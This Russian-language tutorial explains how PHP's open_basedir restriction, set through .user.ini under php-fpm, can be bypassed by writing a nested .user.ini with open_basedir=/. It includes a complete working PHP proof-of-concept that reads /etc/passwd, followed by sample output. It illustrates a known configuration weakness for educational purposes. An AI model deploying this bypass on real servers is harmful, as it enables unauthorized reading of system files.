open_basedir – это директива безопасности в PHP, которая ограничивает доступ скриптов к файловой системе сервера. Она определяет каталоги, за пределы которых скрипт не может обращаться для чтения/записи файлов. Это помогает предотвратить несанкционированный доступ к файлам вне разрешенных областей.

В php-fpm мы можем задать директиву open_basedir с помощью .user.ini. Например, у нас есть переменная open_basedir=/var/www/html/ в файле /var/www/html/.user.ini.
Это означает что все скрипты php в каталоге /var/www/html/ должны подчиняться этим правилам.

Когда open_basedir устанавливается через .user.ini, это означает, что ограничение действует для конкретного каталога и всех его подкаталогов. Однако обход этой защиты возможен при определенных условиях.

Настройка может быть легко перезаписана. Вредоносный скрипт может создать каталог attack и поместить директиву open_basedir=/ в файл /var/www/html/attack/.user.ini, таким образом PHP-файлы в /var/www/html/attack/ могут обойти open_basedir, установленный в /var/www/html/.user.ini.

А теперь проверим это на практике. Создаём вредоносный скрипт в каталоге /var/www/html/.
(Важно, чтобы вредоносный скрипт php и .user.ini находились в одном каталоге, и вредоносный скрипт php мог игнорировать настройку, установленную .user.ini)

Пример ниже показывает, как обойти настройку open_basedir и успешно прочитать файл.

Тестовый скрипт:

<?php 
@set_time_limit(0);
@ignore_user_abort(true);
@ini_set('max_execution_time', 0);
echo "normal<br>";
echo file_get_contents("/etc/passwd");
echo "<br><br>";
echo "attack<br>";
mkdir("attack/",0777); 
file_put_contents("attack/.user.ini","open_basedir=/");
file_put_contents("attack/attack.php",'<?php echo file_get_contents("/etc/passwd");');
sleep(ini_get("user_ini.cache_ttl")+1);
$url=$_SERVER['REQUEST_SCHEME'].'://'.$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]; 
$url=dirname($url)."/attack/attack.php";
echo file_get_contents($url);
?>

Если скрипту не удалось создать файл, то вы не увидите никакого вывода от скрипта, а в случае успешного создания файла и каталога вывод будет следующим:
(скрипт прочитал содержимое /etc/.passwd)

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false syslog:x:104:109::/home/syslog:/bin/false messagebus:x:105:110::/var/run/dbus:/bin/false uuidd:x:106:111::/run/uuidd:/bin/false sshd:x:107:65534::/var/run/sshd:/usr/sbin/nologin

Важно помнить, что open_basedir – это не функция безопасности, призванная защищать пользователей от других пользователей на том же сервере. Это защитная сетка для приложений, которая гарантирует, что их нельзя обманом заставить читать или писать за пределами настроенных каталогов. Если у злоумышленника уже есть доступ для создания или изменения файлов на том же сервере, то нет необходимости в атаке open_basedir. Они уже там.